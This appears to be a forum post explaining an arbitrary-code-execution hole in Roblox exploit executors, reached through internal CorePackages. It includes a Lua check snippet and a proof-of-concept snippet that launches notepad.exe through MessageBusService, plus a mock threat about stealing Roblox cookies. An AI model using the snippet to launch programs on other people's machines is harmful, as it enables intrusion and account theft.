I think I found out why WRD API is down...

Well, I as a normal human being yk we curious... so, I went ahead and scooped around to find out what this event was about. After a couple of minutes I landed on v3rmillion. There I found out the APIs ACE vulnerability is pretty serious. Also, WRD's API was not the only affected.

 

Who were caught in this?

My perspective is that every exploit that has support for getrenv is currently in the scope of this exploit. These include: Script-Ware, KRNL, Synapse, WeAreDevs, etc.

 

The first three have reported to have fixed the issue.

 

 

What happened?

Someone found out a way to require a CorePackage, these are scripts that ROBLOX uses internally. And, to put into perspective they have system level of access (not sure). The author of the thread showed a video where he opened a URL in a browser from the Synapse Executor Window.

 

What can I do?

YOU MY FRIEND SHALL PANIC YOUR COMPUTER IS NOW MINE GOOD LUCK TRYING TO RECOVER THOSE COOKIE CLICKER POINTS CUZ NOW I HAVE YOUR ROBLOX COOKIES

 

SNIPPET (1)

local pack = assert(getrenv().require(game.CorePackages.UniversalApp.Linking.LinkingProtocol),"LinkingProtocol not found")

(innefficient vulnerability check on fix)

 

SNIPPET (2)

local MBS = game:GetService("MessageBusService")

local urlid = MBS:GetMessageId("Linking", "openURLRequest")

MBS:Publish(urlid, {url = "notepad.exe"})

(this opens a notepad window ono) [v3rm:cuck333]

 

SOURCE(s)

[MAJOR VULNERABILITY] [RELAUNCH SYNAPSE / OTHER EXPLOITS NOW] ACE/CE VULNERABILITY (www.v3rmillion.net)